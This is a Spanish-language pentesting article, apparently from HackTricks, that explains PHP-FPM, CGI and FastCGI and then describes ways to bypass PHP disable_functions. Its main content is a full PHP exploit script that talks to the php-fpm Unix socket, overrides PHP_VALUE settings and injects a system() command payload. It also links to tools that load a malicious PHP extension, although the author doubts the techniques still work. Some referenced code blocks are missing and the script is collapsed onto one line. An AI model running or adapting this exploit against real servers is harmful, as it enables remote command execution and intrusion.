PHP-FPM se presenta como una alternativa superior al estándar PHP FastCGI, ofreciendo características que son particularmente beneficiosas para sitios web con alto tráfico. Funciona a través de un proceso maestro que supervisa un conjunto de procesos de trabajo. Para una solicitud de script PHP, es el servidor web el que inicia una conexión proxy FastCGI al servicio PHP-FPM. Este servicio tiene la capacidad de recibir solicitudes ya sea a través de puertos de red en el servidor o sockets Unix.
A pesar del papel intermedio de la conexión proxy, PHP-FPM necesita estar operativo en la misma máquina que el servidor web. La conexión que utiliza, aunque basada en proxy, difiere de las conexiones proxy convencionales. Al recibir una solicitud, un trabajador disponible de PHP-FPM la procesa—ejecutando el script PHP y luego reenviando los resultados de vuelta al servidor web. Después de que un trabajador concluye el procesamiento de una solicitud, vuelve a estar disponible para solicitudes futuras.
Pero, ¿qué es CGI y FastCGI?
CGI
Normalmente, las páginas web, archivos y todos los documentos que se transfieren del servidor web al navegador se almacenan en un directorio público específico como home/user/public_html. Cuando el navegador solicita cierto contenido, el servidor verifica este directorio y envía el archivo requerido al navegador.
Si CGI está instalado en el servidor, el directorio específico cgi-bin también se agrega allí, por ejemplo, home/user/public_html/cgi-bin. Los scripts CGI se almacenan en este directorio. Cada archivo en el directorio se trata como un programa ejecutable. Al acceder a un script desde el directorio, el servidor envía una solicitud a la aplicación responsable de este script, en lugar de enviar el contenido del archivo al navegador. Después de que se completa el procesamiento de los datos de entrada, la aplicación envía los datos de salida al servidor web, que reenvía los datos al cliente HTTP.
Por ejemplo, cuando se accede al script CGI http://mysitename.com/cgi-bin/file.pl, el servidor ejecutará la aplicación Perl apropiada a través de CGI. Los datos generados a partir de la ejecución del script serán enviados por la aplicación al servidor web. El servidor, por otro lado, transferirá los datos al navegador. Si el servidor no tuviera CGI, el navegador habría mostrado el código del archivo .pl. (explicación de aquí)
FastCGI
FastCGI es una tecnología web más nueva, una versión mejorada de CGI ya que la funcionalidad principal sigue siendo la misma.
La necesidad de desarrollar FastCGI surgió por el rápido desarrollo y complejidad de las aplicaciones, así como para abordar las deficiencias de escalabilidad de la tecnología CGI. Para satisfacer esos requisitos, Open Market introdujo FastCGI – una versión de alto rendimiento de la tecnología CGI con capacidades mejoradas.
disable_functions bypass
Es posible ejecutar código PHP abusando de FastCGI y evitando las limitaciones de disable_functions.
A través de Gopherus
No estoy seguro de si esto funciona en versiones modernas porque lo intenté una vez y no ejecutó nada. Por favor, si tienes más información sobre esto, contáctame a través de [PEASS & HackTricks telegram group aquí](https://t.me/peass), o twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Usando Gopherus puedes generar una carga útil para enviar al oyente FastCGI y ejecutar comandos arbitrarios:
Subiendo y accediendo a este script, el exploit se enviará a FastCGI (deshabilitando disable_functions) y los comandos especificados se ejecutarán.
PHP exploit
No estoy seguro de si esto funciona en versiones modernas porque lo intenté una vez y no pude ejecutar nada. De hecho, logré ver que phpinfo() de la ejecución de FastCGI indicaba que disable_functions estaba vacío, pero PHP (de alguna manera) aún me estaba impidiendo ejecutar cualquier función previamente deshabilitada. Por favor, si tienes más información sobre esto, contáctame a través de [PEASS & HackTricks telegram group here](https://t.me/peass), o twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Usando la función anterior, verás que la función system está todavía deshabilitada pero phpinfo() muestra un disable_functionsvacío:
Así que creo que solo puedes establecer disable_functions a través de archivos de configuración php .ini y el PHP_VALUE no anulará esa configuración.
Este es un script php para explotar el protocolo fastcgi para eludir open_basedir y disable_functions.
Te ayudará a eludir disable_functions estrictos para RCE cargando la extensión maliciosa.
Puedes acceder a él aquí: https://github.com/w181496/FuckFastcgi o a una versión ligeramente modificada y mejorada aquí: https://github.com/BorelEnzo/FuckFastcgi
Encontrarás que el exploit es muy similar al código anterior, pero en lugar de intentar eludir disable_functions usando PHP_VALUE, intenta cargar un módulo PHP externo para ejecutar código usando los parámetros extension_dir y extension dentro de la variable PHP_ADMIN_VALUE.
NOTA1: Probablemente necesitarás recompilar la extensión con la misma versión de PHP que está usando el servidor (puedes verificarlo dentro de la salida de phpinfo):
NOTA2: Logré hacer que esto funcionara insertando los valores de extension_dir y extension dentro de un archivo de configuración PHP .ini (algo que no podrás hacer atacando un servidor). Pero por alguna razón, al usar este exploit y cargar la extensión desde la variable PHP_ADMIN_VALUE, el proceso simplemente murió, así que no sé si esta técnica sigue siendo válida.
Vulnerabilidad de Ejecución Remota de Código PHP-FPM (CVE-2019–11043)